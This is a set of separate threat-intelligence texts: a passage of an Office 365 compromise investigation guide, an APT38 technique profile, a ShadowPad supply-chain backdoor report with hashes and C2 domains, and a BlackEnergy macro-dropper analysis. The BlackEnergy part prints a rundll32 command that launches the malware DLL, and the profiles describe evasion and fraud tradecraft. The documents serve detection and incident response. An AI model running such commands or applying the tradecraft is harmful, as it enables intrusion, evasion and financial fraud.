- Teams and Skype for Business, for instant messaging
- OneDrive, for file sharing
- Microsoft Stream, for recorded meetings and presentations
As more organizations decide to adopt Microsoft’s cloud-based offering to meet their needs, unauthorized access to these O365 environments has become increasingly lucrative to motivated attackers. The current high adoption rate of O365 means that attackers are getting plenty of hands-on experience with using and abusing the platform. While many tactics have remained largely unchanged, we’ve also witnessed the evolution of techniques that are effective against even security-conscious users.
In general, the O365 compromises we’ve responded to have fallen into two categories:
- Business Email Compromises (BECs)
- APT or state-sponsored intrusions
Based on our experience, BECs are a common threat to any organization's O365 tenant. The term “BEC” typically refers to a type of fraud committed by financially motivated attackers. BEC actors heavily rely on social engineering to carry out their schemes, ultimately defrauding organizations and even personnel.
One common BEC scheme involves compromising a C-suite executive’s account via phishing. Once the victim unwittingly enters their credentials into a web form masquerading as the legitimate Office 365 login portal, attackers log in and instruct others in the organization to conduct a wire transfer, perhaps under the guise of an upcoming acquisition that has yet to be publicly announced. However, we’ve also observed more effective schemes where attackers compromise those in financial positions and patiently wait until an email correspondence has begun about a due payment. Attackers seize this opportunity by sending a doctored invoice on behalf of the compromised user to another victim responsible for making payments. These emails are typically hidden from the compromised user due to attacker-created Outlook mailbox rules. Often, by the time the scheme is discovered days or weeks later, the money is unrecoverable—highlighting the importance of contacting law enforcement immediately if you’ve fallen victim to a fraud.
The personal finances of staff aren’t off limits to attackers either. We’ve observed several cases of W-2 scams, in which attackers send a request to HR for W-2 information from the victim’s account. Once obtained, this personally identifiable information is later used to conduct tax fraud.
Conversely, APT intrusions are typically more sophisticated and are conducted by state-sponsored threat actors. Rather than for financial gain, APT actors are usually tasked to compromise O365 tenants for purposes of espionage, data theft, or destruction. Given the wealth of sensitive information housed in any given organization’s O365 tenant, APT actors may not even need to touch a single endpoint to complete their mission, sidestepping the many security controls organizations have implemented and invested in.
## O365 Logs and Data Sources
In this section, we’ll touch on the multitude of logs and portals containing forensic data relevant to an O365 investigation.
Before we can begin investigating an O365 case, we’ll work with our clients to get an “Investigator” account provisioned with the roles required to obtain the forensic data we need. At a minimum, the Investigator account should have the following roles:
**Exchange Admin Roles**
- View-only audit logs
- View-only configuration
- View-only recipients
- Mailbox Search
- Message Tracking
**eDiscovery Rights**
- eDiscovery Manager role
**Azure Active Directory Roles**
- Global Reader
### Unified Audit Log (UAL)
The Unified Audit Log records activity from various applications within the Office 365 suite and can be considered O365’s main log source. Entries in the UAL are stored in JSON format. We recommend using the PowerShell cmdlet `Search-UnifiedAuditLog` to query the UAL as it allows for greater flexibility, though it can also be acquired from the Office 365 Security & Compliance Center. In order to leverage this log source, ensure that the Audit Log Search feature is enabled.
The UAL has a few nuances that are important to consider. While it provides a good high-level summary of activity across various O365 applications, it won’t log comprehensive mailbox activity. Furthermore, the UAL has a few limitations:
- Results to a single query are limited to 5000 results
- Only 90 days of activity are retained
- Events may take up to 24 hours before they are searchable
### Mailbox Audit Log (MAL)
The Mailbox Audit Log, part of Exchange Online, captures additional actions performed against objects within a mailbox. It’s a good idea to acquire and analyze the MAL for each affected user account with the PowerShell cmdlet `Search-MailboxAuditLog`. Note that entries in the MAL will be retained for 90 days (by default) and timestamps will be based on the user’s local time zone. The MAL’s retention time can always be increased with the PowerShell cmdlet `Set-Mailbox` along with the `AuditLogAgeLimit` parameter.
At the time of writing this post, Microsoft has recently released information about enhanced auditing functionality that gives investigators insight into which emails were accessed by attackers. This level of logging for regular user accounts is only available for organizations with an Office 365 E5 subscription. Once Advanced Auditing is enabled, mail access activity will be logged under the `MailItemsAccessed` operation in both the UAL and MAL.
### Administrator Audit Log
If the Audit Log Search feature is enabled, this supplemental data source logs all PowerShell administrative cmdlets executed by administrators. If you suspect that an administrator account was compromised, don’t overlook this log! The PowerShell cmdlet `Search-AdminAuditLog` is used to query these logs, but note that the Audit Log Search feature must be enabled and the same 90-day retention limit will be in place.
### Azure AD Logs
Azure AD logs can be accessed from the Azure portal under the Azure Active Directory service. Azure AD Sign-in logs contain detailed information about how authentications occur and O365 application usage. Azure AD audit logs are also a valuable source of information, containing records of password resets, account creations, role modifications, OAuth grants, and more that could be indicative of suspicious activity. Note that Azure AD logs are only available for 30 days.
### Cloud App Security Portal
For cases where OAuth abuse has been observed, information about cloud applications can be found in Microsoft’s Cloud App Security portal. Access to this portal requires an E5 license or a standalone Cloud App license.
### Message Traces
Message traces record the emails sent and received by a user. During an investigation, run reports on any email addresses of interest. The message trace report will contain detailed mail flow information as well as subject lines, original client IP addresses, and message sizes. Message traces are useful for identifying emails sent by attackers from compromised accounts and can also aid in identifying initial phishing emails if phishing was used for initial access. To obtain the actual emails, use the Content Search tool.
Only the past 10 days of activity is available with the `Get-MessageTrace` PowerShell cmdlet. Historical searches for older messages can be run with the `Get-HistoricalSearch` cmdlet (up to 90 days by default), but historical searches typically take hours for the report to be available.
### eDiscovery Content Searches
The Content Search tool allows investigators to query for emails, documents, and instant message conversations stored in an Office 365 tenant. We frequently run Content Search queries to find and acquire copies of emails sent by attackers. Content searches are limited to what has been indexed by Microsoft, so recent activity may not immediately appear. Additionally, only the most recent 1000 items will be shown in the preview pane.
## Anatomy of an O365 BEC
As mentioned earlier, BECs are one of the more prevalent threats to O365 tenants seen by Managed Defense today. Sometimes, Mandiant analysts respond to several BEC cases at our customers within the same week. With this frontline experience, we’ve compiled a list of commonly observed tactics and techniques to advise our readers about the types of activities one should anticipate.
### Phase 1: Initial Compromise
- **Phishing:** Emails with links to credential harvesting forms sent to victims, sometimes from the account of a compromised business partner.
- **Brute force:** A large dictionary of passwords attempted against an account of interest.
- **Password spray:** A dictionary of commonly used passwords attempted against a list of known user accounts.
- **Access to credential dump:** Valid credentials used from a previous compromise of the user.
- **MFA bypasses:** Use of mail clients leveraging legacy authentication protocols, which bypass MFA policies.
### Phase 2: Establish Foothold
- **More phishing:** Additional phishing lures sent to internal/external contacts from Outlook’s global address list.
- **More credible lures:** New phishing lures uploaded to the compromised user's OneDrive or SharePoint account and shared with the victim’s coworkers.
- **SMTP forwarding:** SMTP forwarding enabled in the victim’s mailbox to forward all email to an external address.
- **Forwarding mailbox rules:** Mailbox rules created to forward all or certain mail to an external address.
- **Mail client usage:** Outlook or third-party mail clients used by attackers.
### Phase 3: Evasion
- **Evasive mailbox rules:** Mailbox rules created to delete mail or move some or all incoming mail to uncommonly used folders in Outlook.
- **Manual evasion:** Manual deletion of incoming and sent mail.
- **Mail forwarding:** Attackers accessing emails without logging in if a mechanism to forward mail to an external address was set up earlier.
- **VPN usage:** VPN servers used in an attempt to avoid detection and evade conditional access policies.
### Phase 4: Internal Reconnaissance
- **Outlook searching:** The victim’s mailbox queried by attackers for emails of interest.
- **O365 searching:** Searches conducted within SharePoint and other O365 applications for content of interest.
### Phase 5: Complete Mission
- **Direct deposit update:** A request sent to the HR department to update the victim’s direct deposit information, redirecting payment to the BEC actor.
- **W-2 scam:** A request sent to the HR department for W-2 forms, used to harvest PII for tax fraud.
- **Wire transfer:** A wire transfer requested for an unpaid invoice, upcoming M&A, charities, etc.
- **Third-party account abuse:** Abuse of the compromised user’s privileged access to third-party accounts and services.
## How Managed Defense Responds to O365 BECs
In this section, we’re going to walk through how Managed Defense investigates a typical O365 BEC case.
Many of the steps in our investigation rely on querying for logs with PowerShell. To do this, first establish a remote PowerShell session to Exchange Online.
### Broad Scoping
We start our investigations off by running broad queries against the Unified Audit Log (UAL) for suspicious activity. We’ll review OAuth activity too, which is especially important if something more nefarious than a financially motivated BEC is suspected. Any FireEye gear available to us—such as FireEye Helix and Email Security—will be leveraged to augment the data available to us from Office 365.
The following are a few initial scoping queries we’d typically run at the beginning of a Managed Defense engagement.
### Scoping Recent Mailbox Rule Activity
Even in large tenants, pulling back all recent mailbox rule activity doesn’t typically produce an unmanageable number of results, and attacker-created rules tend to stand out from the rest of the noise.
**Querying UAL for all mailbox rule activity in Helix:**
```
class=ms_office365 action:[New-InboxRule, Set-InboxRule, Enable-InboxRule] | table [createdtime, action, username, srcipv4, srcregion, parameters, rawmsg]
```
**Query UAL for new mail rule activity in PowerShell:**
```
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-90) -EndDate (Get-Date) -ResultSize 5000 -Operations "New-InboxRule","Set-InboxRule","Enable-InboxRule" | Export-CSV \path\to\file.csv –NoTypeInformation -Encoding utf8
```
### Scoping SMTP Forwarding Activity
SMTP forwarding is sometimes overlooked because it appears under a UAL operation separate from mailbox rules.
**Querying UAL for SMTP forwarding in Helix:**
```
class=ms_office365 action=Set-Mailbox rawmsg:ForwardingSmtpAddress | table [createdtime, action, username, srcipv4, srcregion, parameters, rawmsg]
```
**Querying UAL for SMTP forwarding in PowerShell:**
```
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-90) -EndDate (Get-Date) -ResultSize 5000 -FreeText "ForwardingSmtpAddress" | Export-CSV \path\to\file.csv –NoTypeInformation -Encoding utf8
```
### Analyze Compromised Users Logs
After we’ve finished scoping the tenant, we’ll turn our attention to the individual users believed to be involved in the compromise. We’ll acquire all relevant O365 logs for the identified compromised user(s) - this includes the user's UAL, Mailbox Audit Log (MAL), and Admin audit log (if the user is an administrator).
O365 investigations rely heavily on anomaly detection. Many times, the BEC actor may even be active at the same time as the user. In order to accurately differentiate between legitimate user activity and attacker activity within a compromised account, it's recommended to pull back as much data as possible to use as a reference for legitimate activity.
**Querying UAL for a user in Helix:**
```
class=ms_office365 [email protected] | table [createdtime, action, username, srcipv4, srccountry, srcregion, useragent, rawmsg] | groupby < [srccountry,srcregion]
```
**Querying UAL for a user in PowerShell:**
```
Search-UnifiedAuditLog -StartDate mm/dd/yyyy -EndDate (Get-Date) -ResultSize 5000 -UserIds [email protected] | Export-CSV \path\to\file.csv –NoTypeInformation -Encoding utf8
```
**Querying MAL for a user in PowerShell:**
```
Search-MailboxAuditLog -Identity [email protected] -LogonTypes Owner,Delegate,Admin -ShowDetails -StartDate (Get-Date).AddDays(-90) -EndDate (Get-Date) | Export-CSV \path\to\file.csv –NoTypeInformation -Encoding utf8
```
**Querying Admin Audit Log for all events within a certain date in PowerShell:**
```
Search-AdminAuditLog -StartDate mm/dd/yyyy -EndDate mm/dd/yyyy | Export-CSV \path\to\file.csv –NoTypeInformation -Encoding utf8
```
### Query UAL with New Leads
Now that we’ve built a list of suspicious IP addresses and User-Agent strings, we’ll run new queries against the entire UAL to try to identify other compromised user accounts.
**In Helix:**
```
class=ms_office365 (srcipv4:[1.2.3.4, 2.3.4.0/24] OR useragent:Opera) | table [createdtime, action, username, srcipv4, srccountry, srcregion, useragent, rawmsg] | groupby username
```
**Querying the UAL for IPs and user agents in PowerShell:**
```
Search-UnifiedAuditLog -StartDate mm/dd/yyyy -EndDate (Get-Date) -ResultSize 5000 -IPAddresses 1.2.3.4, 2.3.4.5 | Export-CSV \path\to\file.csv –NoTypeInformation -Encoding utf8
Search-UnifiedAuditLog -StartDate mm/dd/yyyy -EndDate (Get-Date) -ResultSize 5000 -FreeText "Opera" | Export-CSV \path\to\file.csv –NoTypeInformation -Encoding utf8
```
### Analyze Message Traces
We’ll use PowerShell to query message traces for the compromised users we’ve identified.
**Querying for the last 10 days of mail sent by the victim in PowerShell:**
```
Get-MessageTrace -StartDate (Get-Date).AddDays(-10) -EndDate (Get-Date) -SenderAddress [email protected] | Select-Object Received, SenderAddress, RecipientAddress, Subject, Status, FromIP, Size, MessageID | Export-CSV \path\to\file.csv –NoTypeInformation -Encoding utf8
```
**Querying for older emails (up to 90 days) in PowerShell:**
```
Start-HistoricalSearch -ReportTitle "Mandiant O365 investigation" -StartDate mm/dd/yyyy -EndDate mm/dd/yyyy -ReportType MessageTraceDetail -SenderAddress [email protected]
```
As Message Trace results are reviewed, attention should be given to IP addresses to determine which emails were sent by attackers. If phishing was the suspected initial compromise vector, it’s a good idea to also query for incoming mail received within a few days prior to the first compromise date and look for suspicious sender addresses and/or subject lines.
### Acquire Emails of Interest
With our list of suspicious emails identified from message traces, we’ll use the Content Search tool available in the Office 365 Security and Compliance Center to acquire the email body and learn what domains were used in phishing lures. Content Searches are performed using a straightforward GUI, and the results can either be previewed in the browser, downloaded individually as EML files, or downloaded in bulk as PST files.
### Final Scoping
At this point of our investigation, the BEC should be sufficiently scoped within the tenant. To ensure any follow-on activity hasn’t occurred, we’ll take all of the attack indicators and perform our final queries across the UAL.
With that said, there are still edge cases in which attacker activity wouldn’t appear in O365 logs. For example, perhaps an additional user has submitted their credentials to a phishing page, but the attackers haven’t used them to log in yet. To ensure we don’t miss this activity, we’ll perform additional scoping across available network logs, specifically for IP addresses and domains related to the attacker’s phishing infrastructure.
## Conclusion
Unauthorized access to O365 tenant doesn’t just pose a threat to an organization, but also to its staff and business partners. Organizations without enhanced security controls in O365 are at the greatest risk of experiencing a BEC. However, as multi-factor authentication becomes more commonplace, we’ve witnessed an increase of MFA bypass attempts performed by increasingly proficient attackers.
It’s important to remember that social engineering plays a primary role throughout a BEC. Ensure that users are trained on how to identify credential harvesting forms, a common compromise vector. When in the midst of a BEC compromise, teams may want to promptly alert personnel in HR and finance-related roles to exercise extra caution when processing requests related to banking or wire transfers while the investigation is in progress.
The examples covered in this blog post are just a sample of what Managed Defense performs while investigating an Office 365 compromise. To take a proactive approach at preventing BECs, make sure the following best practices are implemented in an O365 tenant. Additionally, FireEye Email Security offers protections against phishing and the Helix platform’s O365 ruleset can alert on anomalous activity as soon as it happens.
## Recommended Best Practices
- Ensure mailbox audit logging is enabled on all accounts
- Disable Legacy Authentication protocols
- Enable multi-factor authentication (MFA)
- Enforce strong passwords and a password expiration policy
- Forward O365 audit logs to a centralized logging platform for extended retention
- Enforce an account lockout policy in Azure/on-premise Active Directory
- Restrict mail forwarding to external domains
## Acknowledgements
Special thanks to Doug Bienstock, Glenn Edwards, Josh Madeley, and Tim Martin for their research and assistance on the topic. |
# APT38
APT38 is a North Korean state-sponsored threat group that specializes in financial cyber operations; it has been attributed to the Reconnaissance General Bureau. Active since at least 2014, APT38 has targeted banks, financial institutions, casinos, cryptocurrency exchanges, SWIFT system endpoints, and ATMs in at least 38 countries worldwide. Significant operations include the 2016 Bank of Bangladesh heist, during which APT38 stole $81 million, as well as attacks against Bancomext (2018) and Banco de Chile (2018); some of their attacks have been destructive.
North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name Lazarus Group instead of tracking clusters or subgroups.
## ID: G0082
### Associated Groups
- NICKEL GLADSTONE
- BeagleBoyz
- Bluenoroff
- Stardust Chollima
### Version
2.0
### Created
29 January 2019
### Last Modified
18 January 2022
## Techniques
### Application Layer Protocol: Web
APT38 used a backdoor, QUICKRIDE, to communicate to the C2 server over HTTP and HTTPS.
### Browser Bookmark Discovery
APT38 has collected browser bookmark information to learn more about compromised hosts, obtain personal information about users, and acquire details about internal network resources.
### Brute Force
APT38 has used brute force techniques to attempt account access when passwords are unknown or when password hashes are unavailable.
### Clipboard Data
APT38 used a Trojan called KEYLIME to collect data from the clipboard.
### Command and Scripting Interpreter: PowerShell
APT38 has used PowerShell to execute commands and other operational tasks.
### Command and Scripting Interpreter: Windows Command Shell
APT38 has used a command-line tunneler, NACHOCHEESE, to give them shell access to a victim’s machine.
### Command and Scripting Interpreter: Visual Basic
APT38 has used VBScript to execute commands and other operational tasks.
### Create or Modify System Process: Windows Service
APT38 has installed a new Windows service to establish persistence.
### Data Destruction
APT38 has used a custom secure delete function to make deleted files unrecoverable.
### Data Encrypted for Impact
APT38 has used Hermes ransomware to encrypt files with AES256.
### Data from Local System
APT38 has collected data from a compromised host.
### Data Manipulation: Stored Data Manipulation
APT38 has used DYEPACK to create, delete, and alter records in databases used for SWIFT transactions.
### Data Manipulation: Transmitted Data Manipulation
APT38 has used DYEPACK to manipulate SWIFT messages en route to a printer.
### Data Manipulation: Runtime Data Manipulation
APT38 has used DYEPACK.FOX to manipulate PDF data as it is accessed to remove traces of fraudulent SWIFT transactions from the data displayed to the end user.
### Disk Wipe: Disk Structure Wipe
APT38 has used a custom MBR wiper named BOOTWRECK to render systems inoperable.
### Drive-by Compromise
APT38 has conducted watering hole schemes to gain initial access to victims.
### File and Directory Discovery
APT38 has enumerated files and directories, or searched in specific locations within a compromised host.
### Impair Defenses: Impair Command History Logging
APT38 has prepended a space to all of their terminal commands to operate without leaving traces in the HISTCONTROL environment.
### Impair Defenses: Disable or Modify System Firewall
APT38 has created firewall exemptions on specific ports, including ports 443, 6443, 8443, and 9443.
### Indicator Removal on Host: Clear Windows Event Logs
APT38 clears Windows Event logs and Sysmon logs from the system.
### Indicator Removal on Host: File Deletion
APT38 has used a utility called CLOSESHAVE that can securely delete a file from the system. They have also removed malware, tools, or other non-native files used during the intrusion to reduce their footprint or as part of the post-intrusion cleanup process.
### Indicator Removal on Host: Timestomp
APT38 has modified data timestamps to mimic files that are in the same folder on a compromised host.
### Ingress Tool Transfer
APT38 used a backdoor, NESTEGG, that has the capability to download and upload files to and from a victim’s machine.
### Input Capture: Keylogging
APT38 used a Trojan called KEYLIME to capture keystrokes from the victim’s machine.
### Modify Registry
APT38 uses a tool called CLEANTOAD that has the capability to modify Registry keys.
### Native API
APT38 has used the Windows API to execute code within a victim's system.
### Network Share Discovery
APT38 has enumerated network shares on a compromised host.
### Obfuscated Files or Information: Software Packing
APT38 has used several code packing methods such as Themida, Enigma, VMProtect, and Obsidium, to pack their implants.
### Obtain Capabilities: Tool
APT38 has obtained and used open-source tools such as Mimikatz.
### Phishing: Spearphishing Attachment
APT38 has conducted spearphishing campaigns using malicious email attachments.
### Process Discovery
APT38 leveraged Sysmon to understand the processes and services in the organization.
### Scheduled Task/Job: Cron
APT38 has used cron to create pre-scheduled and periodic background jobs on a Linux system.
### Scheduled Task/Job: Scheduled Task
APT38 has used Task Scheduler to run programs at system startup or on a scheduled basis for persistence.
### Server Software Component: Web Shell
APT38 has used web shells for persistence or to ensure redundant access.
### Software Discovery: Security Software Discovery
APT38 has identified security software, configurations, defensive tools, and sensors installed on a compromised system.
### System Binary Proxy Execution: Compiled HTML File
APT38 has used CHM files to move concealed payloads.
### System Binary Proxy Execution: rundll32
APT38 has used rundll32.exe to execute binaries, scripts, and Control Panel Item files and to execute code via proxy to avoid triggering security tools.
### System Information Discovery
APT38 has attempted to get detailed information about a compromised host, including the operating system, version, patches, hotfixes, and service packs.
### System Network Connections Discovery
APT38 installed a port monitoring tool, MAPMAKER, to print the active TCP connections on the local system.
### System Owner/User Discovery
APT38 has identified primary users, currently logged in users, sets of users that commonly use a system, or inactive users.
### System Services: Service Execution
APT38 has created new services or modified existing ones to run executables, commands, or scripts.
### System Shutdown/Reboot
APT38 has used a custom MBR wiper named BOOTWRECK, which will initiate a system reboot after wiping the victim's MBR.
### User Execution: Malicious File
APT38 has attempted to lure victims into enabling malicious macros within email attachments. |
# ShadowPad in Corporate Networks
In July 2017, during an investigation, suspicious DNS requests were identified in a partner’s network. The partner, a financial institution, discovered the requests originating on systems involved in the processing of financial transactions. Further investigation showed that the source of the suspicious DNS queries was a software package produced by NetSarang. Founded in 1997, NetSarang Computer, Inc. develops, markets, and supports secure connectivity solutions and specializes in the development of server management tools for large corporate networks. The company maintains headquarters in the United States and South Korea.
Our analysis showed that recent versions of software produced and distributed by NetSarang had been surreptitiously modified to include an encrypted payload that could be remotely activated by a knowledgeable attacker. The backdoor was embedded into one of the code libraries used by the software (nssock2.dll).
The attackers hid their malicious intent in several layers of encrypted code. The tiered architecture prevents the actual business logic of the backdoor from being activated until a special packet is received from the first tier command and control (C&C) server (“activation C&C server”). Until then, it only transfers basic information, including the computer, domain, and user names, every 8 hours.
Activation of the payload would be triggered via a specially crafted DNS TXT record for a specific domain. The domain name is generated based on the current month and year values; for August 2017, the domain name used would be “nylalobghyhirgh.com.” Only when triggered by the first layer of C&C servers does the backdoor activate its second stage. The module performs a quick exchange with the controlling DNS server and provides basic target information (domain and user name, system date, network configuration) to the server. The C&C DNS server in return sends back the decryption key for the next stage of the code, effectively activating the backdoor. The data exchanged between the module and the C&C is encrypted with a proprietary algorithm and then encoded as readable Latin characters. Each packet also contains an encrypted “magic” DWORD value “52 4F 4F 44” (‘DOOR’ if read as a little-endian value).
Our analysis indicates the embedded code acts as a modular backdoor platform. It can download and execute arbitrary code provided from the C&C server, as well as maintain a virtual file system (VFS) inside the registry. The VFS, and any additional files created by the code, are encrypted and stored in a location unique to each victim. The remote access capability includes a domain generation algorithm (DGA) for C&C servers which changes every month. The attackers behind this malware have already registered the domains covering July to December 2017, which indirectly confirms the alleged start date of the attack as around mid-July 2017.
Currently, we can confirm activated payload in a company in Hong Kong. Given that the NetSarang programs are used in hundreds of critical networks around the world, on servers and workstations belonging to system administrators, it is strongly recommended that companies take immediate action to identify and contain the compromised software. Kaspersky Lab products detect and protect against the backdoored files as “Backdoor.Win32.ShadowPad.a.”
We informed NetSarang of the compromise, and they immediately responded by pulling down the compromised software suite and replacing it with a previous clean version. The company has also published a message acknowledging our findings and warning their customers.
ShadowPad is an example of the dangers posed by a successful supply-chain attack. Given the opportunities for covert data collection, attackers are likely to pursue this type of attack again and again with other widely used software components. Luckily, NetSarang was fast to react to our notification and released a clean software update, most likely preventing hundreds of data-stealing attacks against their clients. This case is an example of the value of threat research as a means to secure the wider internet ecosystem. No single entity is in a position to defend all of the links in an institution’s software and hardware supply chain. With successful and open cooperation, we can help weed out the attackers in our midst and protect the internet for all users, not just our own.
## Frequently Asked Questions
**What does the code do if activated?**
If the backdoor were activated, the attacker would be able to upload files, create processes, and store information in a VFS contained within the victim’s registry. The VFS and any additional files created by the code are encrypted and stored in locations unique to each victim.
**Which software packages were affected?**
We have confirmed the presence of the malicious file (nssock2.dll) in the following packages previously available on the NetSarang site:
- **Xmanager Enterprise 5 Build 1232**
Xme5.exe, Jul 17 2017, 55.08 MB
MD5: 0009f4b9972660eeb23ff3a9dccd8d86
SHA1: 12180ff028c1c38d99e8375dd6d01f47f6711b97
- **Xmanager 5 Build 1045**
Xmgr5.exe, Jul 17 2017, 46.2 MB
MD5: b69ab19614ef15aa75baf26c869c9cdd
SHA1: 35c9dae68c129ebb7e7f65511b3a804ddbe4cf1d
- **Xshell 5 Build 1322**
Xshell5.exe, Jul 17 2017, 31.58 MB
MD5: b2c302537ce8fbbcff0d45968cc0a826
SHA1: 7cf07efe04fe0012ed8beaa2dec5420a9b5561d6
- **Xftp 5 Build 1218**
Xftp5.exe, Jul 17 2017, 30.7 MB
MD5: 78321ad1deefce193c8172ec982ddad1
SHA1: 08a67be4a4c5629ac3d12f0fdd1efc20aa4bdb2b
- **Xlpd 5 Build 1220**
Xlpd5.exe, Jul 17 2017, 30.22 MB
MD5: 28228f337fdbe3ab34316a7132123c49
SHA1: 3d69fdd4e29ad65799be33ae812fe278b2b2dabe
**Is NetSarang aware of this situation?**
Yes, we contacted the vendor and received a swift response. Shortly after notification by Kaspersky Lab, all malicious files were removed from the NetSarang website.
**How did you find the software was backdoored?**
During an investigation, suspicious DNS requests were identified on a partner’s network. The partner, a financial institution, detected these requests on systems related to the processing of financial transactions. Our analysis showed that the source of these suspicious requests was a software package produced by NetSarang.
**When did the malicious code first appear in the software?**
A fragment of code was added in nssock2.dll (MD5: 97363d50a279492fda14cbab53429e75), compiled Thu Jul 13 01:23:01 2017. The file is signed with a legitimate NetSarang certificate (Serial number: 53 0C E1 4C 81 F3 62 10 A1 68 2A FF 17 9E 25 80). This code is not present in the nssock2.dll from March (MD5: ef0af7231360967c08efbdd2a94f9808) included with the NetSarang installation kits from April.
**How do I detect if code is present on a system?**
All Kaspersky Labs products detect and cure this threat as Backdoor.Win32.Shadowpad.a. If for some reason you can’t use an antimalware solution, you can check if there were DNS requests from your organization to these domains:
- ribotqtonut[.]com
- nylalobghyhirgh[.]com
- jkvmdmjyfcvkf[.]com
- bafyvoruzgjitwr[.]com
- xmponmzmxkxkh[.]com
- tczafklirkl[.]com
- notped[.]com
- dnsgogle[.]com
- operatingbox[.]com
- paniesx[.]com
- techniciantext[.]com
**How do I clean any affected systems?**
All Kaspersky Lab products successfully detect and disinfect the affected files as “Backdoor.Win32.Shadowpad.a” and actively protect against the threat. If you do not have a Kaspersky product installed, then:
1. Update to the latest version of the NetSarang package.
2. Block DNS queries to the C2 domains listed in Appendix A.
**What kind of companies/organizations are targeted by the attackers?**
Based on the vendor profile, the attackers could be after a broad set of companies who rely on NetSarang software, which includes banking and financial industry, software and media, energy and utilities, computers and electronics, insurance, industrial and construction, manufacturing, pharmaceuticals, retail, telecommunications, transportation and logistics, and other industries.
**Who is behind this attack?**
Attribution is hard, and the attackers were very careful to not leave obvious traces. However, certain techniques were known to be used in other malware like PlugX and Winnti, which were allegedly developed by Chinese-speaking actors.
**How did the attackers manage to get access to create trojanized updates? Does that mean that NetSarang was hacked?**
An investigation is in progress, but since code was signed and added to all software packages, it could point to the fact that attackers either modified source codes or patched software on the build servers.
## Appendix A – Indicators of Compromise
At this time, we have confirmed the presence of the malicious “nssock2.dll” in the following packages downloaded from the NetSarang site:
- **Xmanager Enterprise 5 Build 1232**
MD5: 0009f4b9972660eeb23ff3a9dccd8d86
SHA1: 12180ff028c1c38d99e8375dd6d01f47f6711b97
- **Xmanager 5 Build 1045**
MD5: b69ab19614ef15aa75baf26c869c9cdd
SHA1: 35c9dae68c129ebb7e7f65511b3a804ddbe4cf1d
- **Xshell 5 Build 1322**
MD5: b2c302537ce8fbbcff0d45968cc0a826
SHA1: 7cf07efe04fe0012ed8beaa2dec5420a9b5561d6
- **Xftp 5 Build 1218**
MD5: 78321ad1deefce193c8172ec982ddad1
SHA1: 08a67be4a4c5629ac3d12f0fdd1efc20aa4bdb2b
- **Xlpd 5 Build 1220**
MD5: 28228f337fdbe3ab34316a7132123c49
SHA1: 3d69fdd4e29ad65799be33ae812fe278b2b2dabe
**Domains:**
- ribotqtonut[.]com
- nylalobghyhirgh[.]com
- jkvmdmjyfcvkf[.]com
- bafyvoruzgjitwr[.]com
- xmponmzmxkxkh[.]com
- tczafklirkl[.]com
- notped[.]com
- dnsgogle[.]com
- operatingbox[.]com
- paniesx[.]com
- techniciantext[.]com
**DLL with the encrypted payload:**
MD5: 97363d50a279492fda14cbab53429e75
**NetSarang packages which contain the DLL with the encrypted payload:**
- MD5: 0009f4b9972660eeb23ff3a9dccd8d86
- MD5: b69ab19614ef15aa75baf26c869c9cdd
- MD5: b2c302537ce8fbbcff0d45968cc0a826
- MD5: 78321ad1deefce193c8172ec982ddad1
- MD5: 28228f337fdbe3ab34316a7132123c49
**File names:**
nssock2.dll
**Tags:**
APT, Backdoor, DNS, Supply-chain attack, Targeted attacks |
# BlackEnergy APT Attacks in Ukraine Employ Spearphishing with Word Documents
By GReAT on January 28, 2016
Late last year, a wave of cyberattacks hit several critical sectors in Ukraine. Widely discussed in the media, the attacks took advantage of known BlackEnergy Trojans as well as several new modules. BlackEnergy is a Trojan that was created by a hacker known as Cr4sh. In 2007, he reportedly stopped working on it and sold the source code for an estimated $700. The source code appears to have been picked up by one or more threat actors and was used to conduct DDoS attacks against Georgia in 2008. These unknown actors continued launching DDoS attacks over the next few years. Around 2014, a specific user group of BlackEnergy attackers came to our attention when they began deploying SCADA-related plugins to victims in the ICS and energy sectors around the world. This indicated a unique skillset, well above the average DDoS botnet master. For simplicity, we’re calling them the BlackEnergy APT group.
One of the preferred targets of the BlackEnergy APT has always been Ukraine. Since the middle of 2015, one of the preferred attack vectors for BlackEnergy in Ukraine has been Excel documents with macros that drop the Trojan to disk if the user chooses to run the script in the document. A few days ago, we discovered a new document that appears to be part of the ongoing BlackEnergy APT group attacks against Ukraine. Unlike previous Office files used in previous attacks, this is not an Excel workbook, but a Microsoft Word document. The lure used a document mentioning the Ukraine “Right Sector” party and appears to have been used against a television channel.
## Introduction
At the end of last year, a wave of attacks hit several critical sectors in Ukraine. Widely discussed in the media and by our colleagues from ESET, iSIGHT Partners, and other companies, the attacks took advantage of both known BlackEnergy Trojans as well as several new modules. A very good analysis and overview of the BlackEnergy attacks in Ukraine throughout 2014 and 2015 was published by the Ukrainian security firm Cys Centrum.
In the past, we have written about BlackEnergy, focusing on their destructive payloads, Siemens equipment exploitation, and router attack plugins. Since mid-2015, one of the preferred attack vectors for BlackEnergy in Ukraine has been Excel documents with macros which drop the Trojan to disk if the user chooses to run the script in the document.
For the historians out there, Office documents with macros were a huge problem in the early 2000s, when Word and Excel supported Autorun macros. That meant that a virus or Trojan could run upon the loading of the document and automatically infect a system. Microsoft later disabled this feature, and current Office versions need the user to specifically enable the macros in the document to run them. To get past this inconvenience, modern-day attackers commonly rely on social engineering, asking the user to enable the macros in order to view “enhanced content.”
A few days ago, we came by a new document that appears to be part of the ongoing attacks by BlackEnergy against Ukraine. Unlike previous Office files used in the recent attacks, this is not an Excel workbook, but a Microsoft Word document: “$RR143TB.doc” (md5: e15b36c2e394d599a8ab352159089dd2). This document was uploaded to a multiscanner service from Ukraine on Jan 20, 2016, with relatively low detection. It has a creation_datetime and last_saved field of 2015-07-27 10:21:00. This means the document may have been created and used earlier, but was only recently noticed by the victim. Upon opening the document, the user is presented with a dialog recommending the enabling of macros to view the document.
Interestingly, the document lure mentions “Pravii Sektor” (the Right Sector), a nationalist party in Ukraine. The party was formed in November 2013 and has since played an active role in the country’s political scene. To extract the macros from the document without using Word, or running them, we can use a publicly available tool such as oledump by Didier Stevens.
As we can see, the macro builds a string in memory that contains a file that is created and written as “vba_macro.exe”. The file is then promptly executed using the Shell command. The vba_macro.exe payload (md5: ac2d7f21c826ce0c449481f79138aebd) is a typical BlackEnergy dropper. It drops the final payload as “%LOCALAPPDATA%\FONTCACHE.DAT”, which is a DLL file. It then proceeds to run it, using rundll32:
```
rundll32.exe “%LOCALAPPDATA%\FONTCACHE.DAT”,#1
```
